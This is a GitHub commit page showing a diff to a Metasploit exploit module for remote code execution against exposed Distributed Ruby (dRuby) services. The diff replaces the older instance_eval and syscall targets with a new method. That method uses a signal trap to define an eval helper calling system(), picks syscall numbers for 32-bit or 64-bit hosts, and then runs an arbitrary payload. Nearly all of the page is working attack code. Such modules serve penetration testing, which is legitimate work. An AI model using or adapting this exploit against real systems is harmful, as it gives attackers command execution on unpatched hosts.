Skip to content

Commit d69acd1

Browse files
authored
Make dRuby great again
1 parent c5d7fba commit d69acd1

File tree

1 file changed

+18
-72
lines changed

1 file changed

+18
-72
lines changed
Lines changed: 18 additions & 72 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
##
1+
####
22
# This module requires Metasploit: http://metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
@@ -14,19 +14,17 @@ class MetasploitModule < Msf::Exploit::Remote
1414

1515
def initialize(info = {})
1616
super(update_info(info,
17-
'Name' => 'Distributed Ruby Send instance_eval/syscall Code Execution',
17+
'Name' => 'Distributed Ruby Remote Code Execution',
1818
'Description' => %q{
1919
This module exploits remote code execution vulnerabilities in dRuby.
20-
21-
If the dRuby application sets $SAFE = 1, the instance_eval target will fail.
22-
In this event, the syscall target is preferred. This can be set with target 1.
2320
},
2421
'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #(Phenoelit)
2522
'License' => MSF_LICENSE,
2623
'References' =>
2724
[
2825
[ 'URL', 'http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html' ],
29-
[ 'URL', 'http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/' ]
26+
[ 'URL', 'http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/' ],
27+
[ 'URL', 'http://bugkraut.de/posts/tainting']
3028
],
3129
'Privileged' => false,
3230
'Payload' =>
@@ -37,8 +35,7 @@ def initialize(info = {})
3735
'Platform' => 'unix',
3836
'Arch' => ARCH_CMD,
3937
'Targets' => [
40-
['instance_eval', {}],
41-
['syscall', {}]
38+
['generic', {}],
4239
],
4340
'DisclosureDate' => 'Mar 23 2011',
4441
'DefaultTarget' => 0))
@@ -58,72 +55,21 @@ class << p
5855
undef :send
5956
end
6057

61-
case target.name
62-
when 'instance_eval'
63-
print_status('Trying to exploit instance_eval')
64-
exploit_instance_eval(p)
65-
when 'syscall'
66-
print_status('Trying to exploit syscall')
67-
exploit_syscall(p)
68-
end
69-
end
70-
71-
def exploit_instance_eval(p)
58+
p.send(:trap, 23, :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
59+
# syscall to decide whether it's 64 or 32 bit:
60+
# it's getpid on 32bit which will succeed, and writev on 64bit
61+
# which will fail due to missing args
62+
pid = nil
7263
begin
73-
p.send(:instance_eval,"Kernel.fork { `#{payload.encoded}` }")
74-
rescue SecurityError
75-
print_error('instance_eval failed due to security error')
76-
rescue DRb::DRbConnError
77-
print_error('instance_eval failed due to connection error')
64+
pid = p.send(:syscall, 20)
65+
p.send(:syscall, 37, pid, 23)
66+
rescue Errno::EBADF
67+
# 64 bit system
68+
pid = p.send(:syscall, 39)
69+
print_status "#{pid}"
70+
p.send(:syscall, 62, pid, 23)
7871
end
79-
end
80-
81-
def exploit_syscall(p)
82-
filename = "." + Rex::Text.rand_text_alphanumeric(16)
83-
84-
begin
85-
begin
86-
print_status('Attempting 32-bit exploitation')
87-
# syscall to decide wether it's 64 or 32 bit:
88-
# it's getpid on 32bit which will succeed, and writev on 64bit
89-
# which will fail due to missing args
90-
p.send(:syscall,20)
91-
# syscall open
92-
i = p.send(:syscall,8,filename,0700)
93-
# syscall write
94-
p.send(:syscall,4,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
95-
# syscall close
96-
p.send(:syscall,6,i)
97-
# syscall fork
98-
p.send(:syscall,2)
99-
# syscall execve
100-
p.send(:syscall,11,filename,0,0)
101-
102-
# likely 64bit system
103-
rescue Errno::EBADF
104-
print_status('Target is a 64-bit system')
105-
# syscall creat
106-
i = p.send(:syscall,85,filename,0700)
107-
# syscall write
108-
p.send(:syscall,1,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
109-
# syscall close
110-
p.send(:syscall,3,i)
111-
# syscall fork
112-
p.send(:syscall,57)
113-
# syscall execve
114-
p.send(:syscall,59,filename,0,0)
115-
end
116-
117-
# not vulnerable
118-
rescue SecurityError
119-
print_error('syscall failed due to security error')
120-
return
121-
rescue DRb::DRbConnError
122-
print_error('syscall failed due to connection error')
123-
return
124-
end
125-
126-
register_files_for_cleanup(filename)
72+
p.send(:my_eval,payload.encoded)
12773
end
12874

12975
end

0 commit comments

Comments
 (0)